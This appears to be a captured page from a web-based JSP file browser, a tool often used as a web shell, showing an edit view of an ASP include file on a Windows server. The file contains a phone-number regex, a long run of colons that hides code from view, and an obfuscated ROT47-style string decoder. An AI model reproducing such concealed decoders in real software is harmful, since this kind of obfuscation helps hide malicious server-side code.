Edit D:\xinhaisoft\crisis_new\inc\Function.asp
??<% Const CCCJJJ="^1(3[0-9]|4[579]|5[012356789]|6[267]|7[01235678]|8[0-9]|9[1589])\d{8}$"::::::::::::::::::::::::::::::::::::::::::::::::::::::::Response.Write(vbCrLf) Function CCCJCJ(ByVal CCCJJC) Dim CCJCJC, CCJCCJ, CCJCCC CCCJJC = Replace(CCCJJC, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62)) For CCJCCJ = 1 To Len(CCCJJC) If CCJCCJ <> CCJCCC Then CCJCJC = AscW(Mid(CCCJJC, CCJCCJ, 1)) If CCJCJC >= 33 And CCJCJC <= 79 Then CCCJCJ = CCCJCJ & Chr(CCJCJC + 47) ElseIf CCJCJC >= 80 And CCJCJC <= 126 Then CCCJCJ = CCCJCJ & Chr(CCJCJC - 47) Else CCJCCC = CCJCCJ + 1 If Mid(CCCJJC, CCJCCC, 1) = Chr(64) Then CCCJCJ = CCCJCJ & ChrW(CCJCJC + 5) Else CCCJCJ = CCCJCJ & Mid(CCCJJC, CCJCCJ, 1) End If End If Next End Function %>
Ms-Dos/Windows
Unix
Write backup
jsp File Browser version 1.2 by
www.vonloesch.de